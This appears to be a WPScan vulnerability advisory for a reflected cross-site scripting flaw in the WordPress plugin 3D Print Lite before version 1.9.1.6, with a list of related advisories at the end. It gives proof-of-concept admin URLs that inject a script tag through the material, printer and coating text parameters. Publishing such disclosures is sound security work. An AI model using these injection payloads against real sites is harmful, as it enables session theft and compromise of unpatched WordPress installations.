3D Print Lite < 1.9.1.6 – Reflected Cross-Site Scripting | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape some user input before outputting it back in attributes, leading to Reflected Cross-Site Scripting issues

Proof of Concept

https://example.com/wp-admin/admin.php?page=p3dlite_materials&material_text="><script>alert(/XSS/)</script>
https://example.com/wp-admin/admin.php?page=p3dlite_printers&printer_text="><script>alert(/XSS/)</script>
https://example.com/wp-admin/admin.php?page=p3dlite_coatings&coating_text="><script>alert(/XSS/)</script> (< 1.9.1.5)

Affects Plugins

Fixed in 1.9.1.6

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

WPScanTeam

Verified

Yes

WPVDB ID

5909e225-5756-472e-a2fc-3ac52c7fb909

Timeline

Publicly Published

2021-10-11 (about 4 years ago)

Added

2021-10-11 (about 4 years ago)

Last Updated

2021-10-11 (about 4 years ago)

Other

Published

Title

Published

2022-04-26

Title

Domain Replace <= 1.3.8 - Reflected Cross-Site Scripting

Published

2025-06-12

Title

Nasa Core <= 6.3.2 - Reflected Cross-Site Scripting

Published

2024-05-23

Title

Floating Chat Widget < 3.2.3 - Admin+ Stored XSS

Published

2025-03-02

Title

Pre Order Addon for WooCommerce – Advance Order/Backorder Plugin <= 2.2 - Reflected Cross-Site Scripting

Published

2025-01-07

Title

Pretty Url < 1.5.5 - Reflected XSS